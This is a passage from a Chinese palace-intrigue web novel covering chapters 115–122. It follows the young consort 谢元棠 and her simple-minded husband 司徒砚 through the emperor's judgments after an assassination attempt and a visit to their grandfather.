她握住他的大拇指晃了晃道:“对不起,是我不好,下次不跟你
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分开了。”
想起司徒砚在井底拼命护住她的场景谢元棠笑了笑道:“不过夫君今天超棒的哦!是我的英雄呢!”
司徒砚被夸得有些不好意思有点含羞又认真地保证:“我以后会变得更棒的!”
他会努力变强!
很努力!
拼命地努力!
“但是!”
谢元棠眯了眯眼哼道:“就算这样你也不能欺负小舅舅!”
司徒砚并不怕她还笑着道:“可是娘子还是帮我了呀!”
“哼。”
谢元棠哼了声她还不是心疼他又是掉进又是泡冷水的所以才想让他赶紧歇会儿。
忽然想到什么谢元棠问:“你什么时候这么会演了?刚才装得还挺像。”
她都差点被骗过去了。
司徒砚乖巧道:“娘子教的呀!”
“我什么教过你了?”
谢元棠惊讶。
司徒砚眨眨眼笑着凑近在她耳边小声道:“娘子每天演我每天学当然学会啦!”
谢元棠:“……”
所以他这是近墨……不是近朱者赤吗?
而且他学得也太快了吧?
这真是一个傻子能做到的?
带着这点疑问谢元棠迷迷糊糊地睡了过去。
司徒砚侧枕在另一个枕头上看着她沉睡的小脸微微勾了勾唇角。
他伸出手下意识地想要触碰一下那羽毛似的长长眼睫伸到一半又停住了。
算了让她好好睡吧。
他缓缓收回手改为轻轻笼住她的小手也慢慢闭上了眼睛。
过了一小会儿冷云朝悄声走进来。
他还是有些不放心结果一走进来却被眼前的一幕微微惊了下。
一张大床上谢元棠小小一人占了五分之四!
脸朝上摆成了个大字型睡相……十分自由!
一床被子整个盖在谢元棠身上。
而司徒砚……
那么大一个人侧躺在最靠墙的里侧
两人中间隔的距离都够再躺两个冷云朝了!
冷云朝看着看着忽然就没那么担心了。
他们都关心谢元棠却忘记了司徒砚比他们所有人加起来还要更在意她!
第116章 我是傻子,脑子不好使的!
冷云朝再看了眼睡相如此狂放的小外甥女,微微叹了口气,转身出去了。
他不知道的,他前脚刚走。
下一瞬,本该沉睡的司徒砚就睁开了眼睛。
他静静望着门口的方向,当看着冷云朝的影子越走越远,他才微微勾起了唇角。
而后,收起来的大手无声地,再次轻轻握住谢元棠的小手。
谢元棠睡了一个时辰,才被曲培轻声叫醒。
她睁开眼,看着身旁空荡荡的,不由问道:“夫君呢?”
“殿下方才就醒了,这会儿在陪皇上和太傅说话呢。”
谢元棠眨眨眼,明白大概是前头的事处理完了。
“啊哈~真困呀!”
伸了个大大的懒腰,谢元棠懒洋洋地下床穿鞋,曲培兼职起了宫女的工作,帮她简单梳理了下头发,又洗了脸,才出去。
外间,司徒擎看见她出来,轻哼了声道:“睡醒了?”
刚才他来这里的时候,儿子竟然拦着他说不让他吵醒谢元棠睡觉!
普天之下,他堂堂皇帝,还得在外面等着!
说话声音稍微高一点,就要被儿子训!
谁有他憋屈!
谢元棠眨眨眼,笑着跑过去给他行礼:“给父皇请安,父皇您忙完了呀?您什么时候来的?”
不等司徒擎回答,她小嘴一张叽里呱啦就说:“父皇您真是太好了!您看您都那么累了,都没舍得吵醒我,还让我睡到现在,普天之下哪里还找的到您这么好的父亲!”
司徒擎:“……哼,少拍马屁。”
语气已经没一点生气的意思了。
司徒砚言关清等人对这一幕见怪不怪,但冷云朝看得眼睛都瞪成铜铃了!
想他们冷家那是满门忠烈老实人,上到老头子下到小侄子们,那是一个会溜须拍马偷奸耍滑的都没有!
不然他们冷家也不会这么多年一直远离京城了,实在是玩不动这些勾心斗角!
结果现在有了个外甥女,脑子又好使,嘴巴又甜,上能哄皇帝下能哄傻子!
这这这……
他们老冷家这是祖坟冒青烟了啊!
谢元棠走过去跟司徒砚坐一块儿,司徒擎这才开口:“今晚发生的事情,朕已经处置好
了,你们想知道结果吗?
谢元棠愣了下,疑惑地眨眨眼:“父皇您和舅舅在这里坐了这么久,难道不是在说这件事吗?那你们坐这里干吗?
司徒擎:“……
能干吗?等你啊!
难不成跟他五儿子聊天吗?
有什么好聊的,问啥都不说!
言关清干咳了声,委婉道:“这件事到底跟你和砚儿都有关系,自然要你们两人都在场才好,方才……嗯,我和皇上都有些疲惫,用了些茶点。
司徒砚在旁边小声翻译:“他们想问我井里的事,我怕说错,就让他们等你醒了再说,他们呆着无聊,就去吃饭了。
旁边仗着内力听的一清二楚的冷云朝:“……
谢元棠笑着点点头,问司徒擎:“那不知父皇是如何处置的?
“哼。
司徒擎冷哼一声,这些事本不该由他一个皇帝来跟小辈做交代,但……
到底是他亏欠了这两个,还有言家……
司徒擎抿了抿唇,沉声道:“高大海和那个宫女已经赐自尽,你说的那个口技人还没找到,至于虞妃……
他看了眼司徒砚道:“朕已经将她关押起来,待今晚的事情调查清楚后,自会秉公处理。
司徒砚点点头,他没听出来司徒擎话里的区别,以为这就是公正了。
谢元棠却耳尖的听到他说的是“查清今晚的事,也就是今晚之前的旧案,他不准备查吗?
司徒擎接着道:“虞家私藏龙袍,罪大恶极,朕已经判他们全族流放,半个月后出发。至于烨儿……
话音一顿,司徒擎才叹了口气道:“他到底是朕的儿子,朕会让他迁至皇陵,以后就负责守皇陵,不会再回京了,也算是对你的补偿,如何?
司徒砚眼皮微动,对他的补偿?
“父皇不是已经惩罚了坏人吗?为何还要补偿我?
司徒擎呼吸一滞。
言关清目光微垂。
冷云朝叹了口气。
就算已经比过去的痴傻状况好了许多,却依然如同稚儿,连话都听不懂。
司徒砚不知道大家为什么一瞬间都不说话,他有些无措地看向谢元棠:“娘子,我说错什么了吗?
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“没有啊。”
谢元棠笑着摇摇头,握住他的手道:“夫君说的很对,咱们本来就不需要补偿。”
“补偿”这两个字,在她这里就等同于“委屈”。
她不屑,也不接受。
司徒擎给不起的公正,她会去要,去抢!
要不到,抢不来,就杀!
不管哪个,都好过无用的补偿。
司徒擎眯了眯眼。
傻儿子没听懂情有可原,但他不信谢元棠没听懂。
“你不要?”司徒擎冷声问。
谢元棠点点头:“嗯,不要。”
“哼。”
司徒擎气哼一声,一旁的言关清却是微微勾了勾唇。
小家伙有他言家的气性!
“既然你们不要,那便算了。”
司徒擎话音一转,冷声问道:“现在,朕倒是有事要问你们,今晚到底是怎么回事?别拿你在大殿说的那一套来糊弄朕!”
整个皇宫那么多人翻天翻地的找都找不到的两人,一会儿从井里爬出来,一会儿还从他大殿后面的窗户口冒出来……
这种连冷云朝都能察觉到漏洞的话,司徒擎要是没察觉就怪了。
司徒砚先答,还是那套背熟的说辞:“我们爬出来以后迷路了,然后绕路回来,就到了大殿后面了。”
司徒擎根本不信:“迷路?你从小在皇宫逛了多少年了,还会迷路?”
司徒砚点点头,指着自己:“会迷路,我是傻子,脑子不好使的。”
众人:“……”
这会儿倒是承认得干脆!
司徒擎冷笑:“那你迷哪儿了?”
司徒砚愣了下,挠了挠头发:“……”完了,忘记答案了!
司徒擎没好气地哼了声,转而看向谢元棠:“你说呢?”
谢元棠小脸上满是单纯无辜:“父皇,棠棠又没在皇宫逛很多年,棠棠不认识那地方耶~”
司徒擎:“……”
眼看皇帝有发脾气的趋势,言关清急忙咳了声,转移了话题问外甥:“你方才说你有话跟我说,是什么话?”
司徒砚起身,恭恭敬敬朝他鞠了一躬:“舅舅,对不起,我以后一定好好吃饭。”
言关清:???
第117章 现在我们来好好聊聊吧,姐夫?
看着面前一本正经的外甥,言太傅愣了两秒。
然后淡淡地点了点头:“嗯,那很好。”
听不懂没关系,装得很懂就行了!
司徒砚得到他点头,转头开心地对谢元棠道:“娘子,舅舅原谅我了。”
谢元棠:“……嗯!”
司徒擎皱了皱眉,不懂这又是怎么回事。
曲培在他耳边小声低语了几句,司徒擎顿时眉头皱得更紧了,看着谢元棠的眼神十分古怪。
之前他就担心儿子被小丫头玩坏,现在证明他的担心一点都没错!
司徒擎叹了口气,头疼地揉了揉太阳穴。
他大概猜到今晚两人死里逃生的事情没那么简单,但也知道如果谢元棠这小丫头不肯说,他大约是问不出来什么的。
“罢了……”
司徒擎有些疲惫地挥了挥手道:“既然你们都记不得,那朕便不问了,你们回吧,今晚的事……待以后想起,愿意说的时候再说吧。”
谢元棠有些意外他这么轻易就放过了他们,不由看了眼言关清。
言关清微微摇了摇头,领着几人行礼告退,才转身离开。
司徒擎看着几人离开的背影,忽然轻声叹道:“曲培,朕忽然发现,每一次砚儿离开的时候,都不曾回头看过朕。”
就跟那人一样,走得决绝,丝毫不留一丝余地。
“皇上,五殿下还年轻,再给他一些时日,他定会变得更好的。”
曲培闻声劝道:“如今的殿下可比前几年懂事多了,奴才瞧着啊,有小皇妃陪着,殿下未来还会更好的。”
“呵呵,是啊。”
司徒擎想到谢元棠那股机灵劲儿,不由笑了:“那小丫头真是……或许有她在,砚儿真的能不一样吧。”
顿了顿,他又问曲培:“你觉得朕今日做错了吗?朕知道言关清想替她申冤,可是……那件事牵扯太多,朕若是彻查,势必会牵连出许多人……”
曲培怔了怔,这事他可不敢回答,只是低声道:“奴才觉得太傅定能体谅皇上您的难处,小皇妃和殿下也会体谅您的。”
“呵,体谅……”司徒擎长叹了口气,“但朕到底亏欠了她的孩子……”
他靠在椅子上,伸手又揉了揉太阳
穴,曲培小声问:“皇上,您是不是头痛又犯了?奴才帮您按一按吧……”
——
宫门口。
言关清先上车,看着站在旁边的谢元棠和司徒砚,顿了一顿道:“今天你们也累了,回去歇着吧,明日下午,我带你们去老宅。”
谢元棠挑了挑眉,笑着应下:“好哇,我和夫君会准备好多礼物给外祖父的!”
司徒砚点点头:“嗯嗯,我现在有钱了,买得起礼物!”
言关清扯了下嘴角,好笑地摇了摇头道:“送礼可以,别送吓人的,老人家心脏不好,受不得惊吓。”
谢元棠和司徒砚齐齐摇头:“不会不会,我们最乖了!”
言关清:“……”
叹了口气,言关清看向冷云朝:“那就麻烦冷将军送俩孩子一程了。”
冷云朝还是很尊敬言关清的,当下保证道:“小事,本来也顺路,太傅安心。”
言关清这才让车夫驾车离开。
他一走,侍卫也牵来了冷云朝的马。
冷云朝接过缰绳,对两人道:“你们上车,我送你们回去。”
“小舅舅,其实不用这么麻烦,今晚出了这么多事,肯定没人敢再对我们动手的。”谢元棠说。
冷云朝抬手摸摸她的头发,笑得宠溺:“那也没事,舅舅送你们回家是应该的,就一段路的事,走吧。”
谢元棠只好依他,转身走向马车。
跟往常一样,没等她抬脚,司徒砚就将她抱了上去,动作再自然不过。
等两人上了马车,冷云朝正预备翻身上马,忽然眼角余光一瞥,看见躲在宫门口的一道身影。
“谁!”
冷云朝冷呵一声,运起轻功就朝那人掠去,大手一捞就将人拎了起来。
“放开我!”
谢兆青没想到这冷云朝这么野蛮,当下憋红了脸道:“本官乃是当朝丞相,休得无礼!放开!”
冷云朝眯了眯眼,冷笑一声:“丞相?”
他抬手将谢兆青扔墙上
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,声音冰冷:“老子还没找你的麻烦,你自己倒是先撞上来了!”
他早从谢元棠的信里知道了他姐姐受欺负的事,此次来京的目的就是来给他姐姐和外甥女撑腰的。
只是没想
到他还没找上谢家,就先等来了谢兆青。
谢兆青被扔得撞在墙上,整个后背都在疼,一张老脸又臊又红:“我是来找我女儿的,你让开!
“找你女儿?
冷云朝冷哼了声,讽刺道:“小棠棠今天受了这么大委屈,你这当爹要是真有半点良心,方才在大殿上就不会屁都不放一个!
“这会儿知道来找女儿了?我看你是看见小棠棠颇受圣宠,来这里蹭她光了吧!
两句话戳破谢兆青的心思,他顿时噎得没话说。
换做以往,谢兆青肯定是巴不得谢元棠早点死。
但今天这一波三折的发展,让他忽然看明白,谢元棠就是个打不死的小强!
而且身后的背景还越来越强大!
如今连冷家人都进京了,再加上言家……
谢兆青以前支持太子,但他忽然发现……他其实完全可以换个支持对象啊!
如果太子当上皇帝,那他充其量还是丞相。
可如果司徒砚当上皇帝,那他女儿就是皇后,他就是国丈啊!
想到这里,谢兆青就厚着脸皮等在宫门口,只等女儿出来的时候摆出慈父的架势,好好“关心她一番。
结果没想到还没走到谢元棠跟前,就被冷云朝给拦住了。
“小舅舅?发什么事啦?有人吗?
谢元棠的声音从前面传来。
谢兆青眼睛一亮,正要开口,忽然被冷云朝堵住了嘴巴。
冷云朝笑着侧头,另一只手朝谢元棠挥了挥道:“没事,你们先走吧,舅舅跟一位老朋友叙叙旧,等会儿就追上去哈!
谢元棠不疑有他,转身吩咐马车先走。
冷云朝等车走远,才狞笑着朝谢兆青活动了下手腕:“这几年,我姐姐托你的福,受了不少苦,我这做弟弟的,还没来得及帮她好好谢谢你呢!
“现在,我们来好好聊聊吧,姐夫?
第118章 今晚的事,跟你有关系吗?
马车缓缓向前,时而听见“啊”“哎哟”“救命”等惨叫声传来。
司徒砚好奇地往外瞅了一眼,只看见冷云朝上蹿下跳的声音,只看影子的话像是在踹墙!
“娘子,我们真的不用管吗?”
司徒砚看着很是淡定的谢元棠:“小舅舅不是才回京?他在这里有朋友?”
“那谁知道呢~”
谢元棠打了个哈欠,抱着软枕昏昏欲睡:“听这友好交流的声音,我猜应该是哪位很受小舅舅牵挂的朋友吧!”
司徒砚若有所思地点头:“那应该是极其牵挂了。”
不然都踹不了那么用力!
一刻钟后,冷云朝才驱马赶上来。
这还是担心外甥女和外甥女婿的安危,不然他能揍谢兆青一整晚!
亲自将谢元棠和司徒砚送到家门口,冷云朝刚从马车上下来,就看见司徒砚已经抱着谢元棠把人给抱了下来。
那体贴细心的照顾,让冷云朝这个大老粗都愣了下。
原本心里对这个傻外甥女婿的那点小意见,也在今日见过他对谢元棠的在意之后,渐渐消散。
“小舅舅,你府上可收拾妥当了?不然你住我们家吧!”谢元棠道。
司徒砚也跟着点头:“有房间给舅舅住。”
“我住你们这儿算怎么个事儿?”
冷云朝笑着道:“放心吧,住的地方我还是有的,再说我明日……”
说到一半,他顿了顿道:“罢了,回头再说吧,你们赶紧回去歇着吧。”
他叮嘱谢元棠:“待会儿再喝点安神汤,省得晚上做噩梦。”
“知道啦小舅舅!”谢元棠笑嘻嘻点头。
冷云朝又看了眼司徒砚。
司徒砚眨眨桃花眼,疑惑地回看他。
对着那张貌美如妖,又单纯赤诚的脸,冷云朝无奈地叹了口气,一时间觉得这家伙真是……
让人想讨厌都很难讨厌起来!
他想了想,到底还是对谢元棠道:“他不是也身体不舒服吗?待会儿让他跟你一块儿喝点姜汤什么的,井水性寒,我一个武人都受不了,何况他在井里泡了那么久,别再生病就糟了。”
谢元棠有些意外,笑盈盈道:“小舅舅对夫君真好!夫君,快谢
谢小舅舅呀!
“谢谢小舅舅!
司徒砚懂事地对着冷云朝就是一个九十度鞠躬。
冷云朝:“……倒也不必谢这么大礼。
他摆了摆手道:“成,你们进去吧,我回了。
说罢一挥手,翻身上马,朗喝一声“驾,策马离开。
谢元棠看着他离开的身影,转头拉着司徒砚回府。
司徒砚似懂非懂地问:“娘子,小舅舅是不是不讨厌我啦?
他虽然笨了点,但依然能敏感地感觉到一个人释放出来的善恶。
冷云朝刚开始见到他有多嫌弃,方才就有多友善。
谢元棠肯定地点点头,一边晃着他的手往前走,一边道:“当然不讨厌啦!我夫君这么棒,对我又这么好,小舅舅看在眼里,自然会喜欢夫君的!
司徒砚深吸口气道:“我会努力让他更喜欢我的!
“驾!
月朗星稀。
冷云朝勒着缰绳,策马走在无人的街道上。
回想今日种种,他叹了口气,仰头望着夜空,喃喃自语道:
“司徒砚啊司徒砚,能过我这一关不算什么,能让冷家其他人认可你,才是真正的难啊!
——
是夜。
除了谢元棠和司徒砚睡得大好之外,有许多人在这个夜晚注定睡不好。
太子府。
“过来,都过来陪本宫喝酒!
“来来来,今晚我们不醉不归哈哈!
司徒阆醉醺醺地拎着酒樽,衣衫不整地坐在地上,怀里搂着一个美人,旁边还陪着好几个宫女。
“太子,您醉了。
太子妃元嘉过来看了眼,蹙眉提醒道。
“滚!少来扫本宫的兴!
司徒阆一个酒杯扔过去,砸在元嘉脚边,冷哼道:“本宫今日高兴,还不能多喝两杯了?往日里你,父皇……你们一个个管着本宫,就连今天都还来管我!
元嘉皱紧眉头,嫌弃地直想转身走人,但还是劝道:“太子,今日宫中发生这么大的事,明天保不齐父皇还会找您,您若是喝醉,明日该如何面对父皇的询问呢
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“父皇?哈哈哈
哈……”
司徒阆笑着笑着就沉默了:“父皇他只喜欢老五那个傻子!除了那个傻子,我们这么多儿子里,你猜他最喜欢谁?”
元嘉不敢说,一旁的宫女也都低着头不敢吭声。
“哼!他最喜欢老四!”
“瞧见没?今晚老四都差点杀了他,他竟然还是没砍了老四的脑袋,只将他贬去守皇陵?”
“换了本宫,他早就……嗝……呵呵,来!美人陪本宫喝酒~今晚你,还有你,都留在本宫这里,本宫今晚要享齐人之福……嗝……”
元嘉看着他这副烂泥的样子,气得冷哼一声,转身就走。
“太子妃,太子殿下这般……咱们真的不管吗?”身旁的侍女忧心道。
元嘉冷笑:“管他?要不是为了家族,为了太子妃这个名头,我恨不得一刀阉了他!”
“太子妃慎言啊!”侍女吓了一跳,连忙出声打断她的话。
元嘉深吸口气,又缓缓叹出:“都说那个谢元棠嫁了个傻子有多倒霉,依我看她倒是最幸运的那个,至少比起司徒阆,司徒砚干净多了。”
……
皇宫,风仪宫。
司徒煦不耐烦地问:“姐姐找我还有什么事?这么晚了,我该回府了。”
“你不许走。”司徒凤瞪了他一眼,转身去关好门窗,走回来小声问他,“你告诉我,今天你为什么不帮四哥说话?”
“你之前不是说,咱们和四哥一荣俱荣,要尽力帮他登上那个位子吗?为什么现在又不帮了?”
司徒煦看了眼傻白甜的姐姐,讽笑道:“皇姐,此一时彼一时,四哥今日所犯之事,那可是会掉脑袋的,你看二哥三哥谁开口了?你让我开口,难不成是想我也去守皇陵?”
“我不是这个意思……”
司徒凤皱眉,还想说什么,司徒煦哄她道:“你别想那么多了,我心里有数,不管谁登上那个位子,我都会保护好你和母妃的。”
司徒凤欲言又止。
她总觉得弟弟瞒着她许多事……
她沉默片刻,只问了一个问题:“今晚谢元棠和五哥掉进井里的事,跟你有关系吗?”
第119章 咱们也哭!
司徒煦眉尾一掀:“姐姐为何这么问?今晚的事虞贵妃不是都承认是她做的了吗?”
司徒凤冷声道:“可是谢元棠说的那个口技人还没找到。”
听着她的话,司徒煦轻笑了声,走到她面前。
抬手,轻抚了下她的额发,语气温柔:“姐姐今日倒是聪明了许多,都能想到这一层了。”
司徒凤:“……”
没好气地拍掉他的手,司徒凤气哼哼地瞪他:“你什么意思?我能想到这一点很奇怪吗?”
她只是傻白甜,又不是真的白痴。
到底也是宫里长大的公主,怎么可能一点都看不出来问题?
司徒煦笑了笑,两手一摊道:“可惜呢,今晚的事跟我还真没关系。”
“你没骗我?”
“自然。”
司徒凤松了口气,不知道为何,她现在对谢元棠有种打从心底里的怵,一晚上就怕弟弟跟这件事有关,如今听见他这么说,才算放了心。
“那就好那就好,你可千万别去招惹谢元棠。”司徒凤叮嘱道,“那丫头太可怕了!”
司徒煦冷哼:“姐姐你怕她,我可不怕。”
“你还不怕?”
司徒凤无语,高声提醒他:“咱们俩跟她对上那几次,一次都没赢过!你忘了输给她被她强迫叫嫂子的名场面了啊?”
司徒煦:“……”
本来忘了,现在想起来了!
再三保证他不会对谢元棠和司徒砚动手之后,司徒凤才放过他。
从风仪宫出来,司徒煦回头看了眼,低笑了声。
虽然他确实没参与今晚的事,但是他知道那口技人是谁的人。
而且并不是他不想参与,只是还没来得及罢了。
他和司徒烨设计好了计划,只是谁也没想到虞贵妃会提前动手,还是这么拙劣的计划。
不然以他们那个陷阱,司徒砚和谢元棠肯定死得不能再死了。
“可惜暂时不能行动了……五哥还真是好运气,每次都能死里逃生……”
这夜。
有人用白绫结束了自己的生命;
有人无声地进入了井中的暗道;
有人悄悄将口技人送出皇宫;
只有一个司徒阆
在傻乐!
——
翌日。
谢元棠醒来已经快晌午了。
真不是她喜欢赖床,而是她的精神力亏空太多,就算喝了营养液,也需要充足的休息。
谢元棠在红蕖的照顾下起床洗漱,懒洋洋问:“夫君又在练功?
“是呢。
红蕖笑着道:“咱们殿下可用功了,每天都起得很早,不是跟着言枫练功,就是在书房读书写字。
她说这话时一脸骄傲的语气,当初谁都看不起他们殿下,可如今呢?
他们小皇妃和殿下比谁都好!
谢元棠看她那欣慰骄傲的神态,不由好笑地摇了摇头。
想起什么,谢元棠道:“对了,之前娘亲一直不愿意下山,都是因为怕拖累我,如今小舅舅都来了京,想来娘亲肯定愿意回来了,到时候白芙姐姐和罗吉也就一并回来了。
“只是我今日要跟夫君去言家老宅看望外祖父,你待会儿有空去一趟我小舅舅府上,跟他说一声,就说我明日就跟他一起去华觉寺接娘亲。
“是,奴婢记下了。
——
谢元棠匆匆用过午饭,便跟司徒砚一块儿出门了。
两人先去的言家,再由言关清领着他们去老宅。
言家的老宅离主街比较远,谢元棠一路从车窗往外看着,感觉都快出城了。
“舅舅,外祖父住这么偏啊?
言关清道:“父亲喜静,再说这里住的都是一些清贫学子,父亲平日无事便会去私塾帮他们讲讲课,也算是他的一点乐趣吧。
谢元棠了然。
言家几代从文,一直都是清流一派,直到言关清的父亲言尚这一代,官位才升上去,但又因为为官过于正直得罪了不少人。
后来言尚生子,一个言关清,一个言意澜。
兄妹俩都是风云人物,言意澜更是被司徒擎看中收入后宫,那段时间言家处在风头浪尖上,直到言意澜去世,司徒砚又得了痴呆疯病,言家才彻底心灰意冷,再度和皇室疏远了往来。<
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这些年甚至连司徒砚这个唯一的外甥都没管过,至少是明面上没在意过,直到司徒砚濒死,谢元棠冲喜……言关清才不再沉默。
就是不知道,这一次言尚老
爷子要见他们,又是为了什么?
谢元棠心里正想着,马车已经缓缓停在言家老宅门口。
“到了。
言关清正要下马车,司徒砚忽然起身道:“我先。
言关清失笑,想他还是小孩子性子,连这个也要争抢。
却不想待到他自己下车时,刚撩开帘子,便看见司徒砚朝他伸出手来:“我扶舅舅。
言关清微微怔住。
原来他先下车,不是玩什么幼稚游戏,而是为了搀扶他吗?
“舅舅,你怎么不动了?是不是腿麻了?
言关清回过神来,笑着摇了摇头道:“不用,舅舅自己就可以。
他搭着司徒砚的胳膊,借力下了车,回头便看见外甥将谢元棠抱下车来。
一如既往的温柔。
诸如生活中上下车这些小细节,言关清没教过他,他想谢元棠也教不了他那么多,但是这孩子却自己学会了……
言关清眼眶微红,在两个小家伙看过来之前,连忙背过身抬袖抹了下眼角。
司徒砚小声问:“娘子,舅舅不是回家了吗?为什么还会哭啊?
谢元棠也不懂。
她眨了眨眼道:“可能……怕外祖父打他屁股吧。
“外祖父还会打人啊?好可怕啊!
谢元棠摸着下巴:“对啊,跟我想象中的老头子形象不太相符……或许这是言家的规矩?
司徒砚觉得有点奇怪,模模糊糊的,他觉得好像没有这规矩啊!
“那娘子,我们现在怎么办?
谢元棠眼珠一转,打了个响指:“咱们也哭!
管它怎么回事,反正能多做,不能不做!
于是言关清擦完感慨的眼泪,一回头,就看见一大一小俩活宝仰着脑袋,学着他刚才的姿势,在那儿抹眼泪。
言关清:“……
突然有点担心,老爷子今天会不会被他俩气冒烟?
第121章 她要的,是自己亲手挣出来的天地!
“离开司徒砚?”
谢元棠愣了下。
没听懂。
“您是问我有没有搬家的打算吗?我目前在皇子府住的挺好的,没打算离开啊。”
听她这么回答,反倒让言尚怔住了。
他摇了摇头,再问的清楚些:“不是问你搬家不搬家,我是问你有没有和离的打算,离开砚儿,去过你自己的生活。”
这次谢元棠听懂了,她笑了下,乌溜溜的大眼睛眨啊眨的,歪着头可爱灵动,却又自带傲骨:
“外祖父,我一直在过自己的生活啊。”
她和司徒砚不是谁依附谁,也不存在谁妥协谁,而是相互扶持,各取所需。
就算将来有一日他们会分开,也不是“她离开了司徒砚”,而是两人各自选了别的路而已。
明媚的小脸上张扬着自信的笑容:“我知道外祖父担心什么,您不必多想,我答应过夫君会帮他的,至少短时间内不会离开哒。”
“至于以后……”
她两手一摊,小脸皱着道:“外祖父,我才九岁诶,那说得了那么久以后的事情?”
“哈哈,也是!是外祖父老糊涂喽!”
言尚大笑两声。
他自问活得通透,却还不如一个小娃娃看得明白。
谢元棠道:“外祖父哪里糊涂啦,您只是为夫君忧心而已。”
“唉,小元棠当真是玲珑心啊。”
言尚摸了摸胡子,看着这样剔透懂事的小姑娘,一时感慨外孙儿命中有福,一时又恐连累了人家好孩子。
谢元棠眼瞅着老爷子欲言又止,葡萄似的大眼珠子转了两圈,问道:
“外祖父是担心如今的局势对夫君太过危险,我若是在此刻弃他而去,他会孤立无援,回到过去那样的痴傻状态?”
一语戳中言尚的心思。
他叹了口气道:“外祖父不瞒你,确实如此。”
他看着眼前格外聪慧的小丫头,迟疑着道:“虽说这话跟你一个九岁的小娃娃说有些过分,但外祖父今日还是倚老卖老说了。”
“丫头你且听听看,没道理的你也别往心里去,权当我老糊涂了如何?”
谢元棠眨眨眼,言尚这话,可谓是将姿态放得低得不能再低了。
连司徒擎都没么本事让言尚再度回朝为官,如今却如此低声下气地跟她说话,这全是为了司徒砚。
可……言家之前对司徒砚又那般不在意……
谢元棠觉得有些糊涂。
言尚开口道:“以前砚儿一直是个痴傻儿,我们只要不在意他,他就能活下去,可如今……他越来越好,也越来越惹人注意。”
“此次四皇子和虞贵妃倒台,更是将你们二人推到了风口浪尖上,接下来的日子,就算你们不愿意,也注定是要参与到司徒皇室的斗争中来了。”
言尚看着谢元棠道:“外祖父跟你掏心窝子讲,如果你是我小孙女,我是万万舍不得你参与到这局中来的,何况冷家何其势大?你只要回了冷家,便能当一个被全家宠成宝贝的小姑娘,何需冒着被人刺杀被人丢进井里的危险?”
“可是于私,我就砚儿这一个外孙孙,这孩子又这般可怜,过去那么多年我们明里暗里想过许多法子,都没办法让他痊愈,可自打你来了以后,他就眼瞅着一日日像个正常人了。我和他舅舅都不敢想,若是你离开了,他会发生什么变故……”
谢元棠安静地听着。
“所以我们都希望你能留下,留在砚儿身边。”
言尚抿了抿唇,郑重道:“当然,我言家绝非是那种利用完就将你弃之不顾的小人,只要你愿意留下,我言家保证,不管未来如何,言家必待你如砚儿一般,不分亲疏,倾力守护。”
老爷子说完,有点紧张地看着谢元棠:“丫头,你觉得如何?”
“我觉得呀……”
谢元棠故作深沉地绷着小脸想了两秒。
而后挤出了小酒窝,笑灿灿脆生生道:“我觉得外祖父您太见外啦!我一开始不都说了我不会走的嘛,怎么您上了年纪还操心上了!”
言尚:“……”
“可是冷家必定会想让你跟他们回去的……”
谁家好人会同意九岁的宝贝闺女嫁给别人冲喜?
谢元棠想起冷云朝,笑着道:“我小舅舅性情单纯,还没
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我夫君心眼子多呢,好哄得很,至于娘亲他们……外祖父不必担心,我的事情自己做主,娘亲宠我,必不会强迫于我的。”
她从未想过当一个得宠的千金小姐。
她要的是自己亲手挣出来的天地!
谢元棠顿了顿朝言尚眨眨眼道:“再说了外祖父您别老忽略我夫君的颜值魅力呀他往那儿一站谁能不心软?”
没见她娘亲和小舅舅都轻而易举地被傻夫君攻下了?
想来冷家其他几位……也不难!
言尚被她这话逗笑点着头道:“这倒也是。”
两人又陆续聊了些别的。
言尚倒是真没拿谢元棠当小孩子看
譬如皇帝心中的太子人选可能不是太子他们虽然没有争储之心但一定要有自保之力。
譬如今后宫里那几位皇子对他们的态度必定会有不同日常上学堂进出皇宫必要当心。
谢元棠都乖乖地一一应下。
这些事她自己虽然也会琢磨但到底没有言尚看得透彻。
听他这般分析下来谢元棠才发现自己还是疏漏了许多。
一直到司徒砚忍不住敲门进来:“外祖父你能把娘子还给我了吗?”
言尚:“……”
谢元棠眼珠一转跳下椅子跑到门口拉着司徒砚进来:“夫君你跟舅舅搬完东西啦?没跟舅舅聊天?”
司徒砚点头:“聊了。”
“然后呢?”
“然后他生气了。”
司徒砚指指身后不远处铁黑着一张脸满是不悦的言关清:“娘子你别去找舅舅他脾气不好会骂人的。”
言关清会生气到骂人?
谢元棠狐疑地问:“夫君你跟舅舅聊什么了他怎么生气?”
司徒砚摇摇头一双桃花眼满是纯真无辜:
“没说什么啊我就是关心了一下他的身体健康。”
“你咋说的?”
“孙逢必说如果男人一直单身那就是有病得看病我就让舅舅不要讳疾忌医然后他就生气不理我了。”
“……”
谢元棠听得目瞪口呆:“舅舅真善良!竟然能忍住没揍你!”
第122章 小绿茶上线!
谢元棠拉着司徒砚陪言尚聊天。
俩人挤在一张椅子里,坐在言尚对面。
谢元棠朝司徒砚眨眨眼,小声道:“看我的。”
然后转头讨好地冲言尚笑:“外祖父,棠棠没见过夫君的娘亲,都说她是个大美人,您能跟我们讲讲她的事情吗?”
司徒砚怔了怔,她还记得帮他问娘亲的事。
但是万一外祖父生气怎么办?
想到这里,司徒砚忙道:“外祖父不要生气,不要骂娘子。”
言尚怔怔看着紧张的外孙,心里有些哀伤,语气却和蔼:“我生什么气?不过,是小元棠想知道,还是你想知道呢?”
“我……”
“棠棠和夫君都想知道!”
司徒砚刚开口,谢元棠就抢答道。
言尚好笑地看着两个小活宝,点点头道:“行吧,反正也闲着,就跟你们讲些趣事儿好了。”
他看着明显紧张好奇又期待的司徒砚,笑着道:“你娘啊……当年就是个假小子,比起来,你舅舅倒是秀气得跟个女孩子似的。”
刚进门的言关清:“……”要不他还是出去吧。
……
谢元棠和司徒砚在老宅待了大半天,刚开始是言尚一直在讲言关清和言意澜小时候的事,后来言关清也加入进来。
司徒砚以前那么多年没听到的故事,在这个下午听了个够。
他缺失的亲情和陪伴,在这个下午,仿佛也回到了他的身边。
司徒砚低头看着身旁兴致勃勃的谢元棠,目光深邃且柔和。
这一切,都是因为有身边这个人在,才会变得与众不同。
三人快要离开的时候,红蕖急匆匆来了。
“殿下,小皇妃,不好了!”
谢元棠怔了下:“怎么了?”
红蕖急道:“是冷将军和谢夫人……还有丞相……”
言关清蹙了蹙眉,声音清冷:“冷静,慢慢说。”
谢元棠给她倒了杯茶,小脸沉静,看不出一丝慌乱:“红蕖姐姐,你先坐下,喝杯茶喘口气,然后慢慢说,不急的。”
言尚在一旁看着,小丫头能有这种定力,果然他没看错人。
许是言关清和谢元棠的声音都太过沉稳,红蕖
慢慢冷静下来。
